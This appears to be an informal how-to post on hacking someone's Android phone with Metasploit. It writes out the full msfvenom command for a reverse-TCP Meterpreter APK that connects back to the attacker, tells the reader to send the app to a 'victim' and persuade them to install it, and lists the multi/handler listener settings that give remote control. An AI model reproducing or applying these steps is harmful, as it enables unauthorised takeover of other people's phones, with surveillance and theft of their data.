First install kali Linux in your smartphone.
After installing kali linux you have to install metasploit in it.
Metasploit is a computer securityproject that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
After installing metasploit you have to create malicious app via msfvenom.
Command for creating malicious app:
Msfvenom -p android/meterpreter/reverse_tcp lhost=your ip lport=4444 -o /root/angryduck.apk
Angryduck is a malicious apk that you have send to victim and tell them to install after installing the app the victim phone is ready to hack.
Now you have open another terminal > type the command <msfconsole>
Set exploit multi/handler
Set payload android/meterpreter/reverse_tcp
Set lhost your ip
Set lport 4444
And final command
Device hacked !
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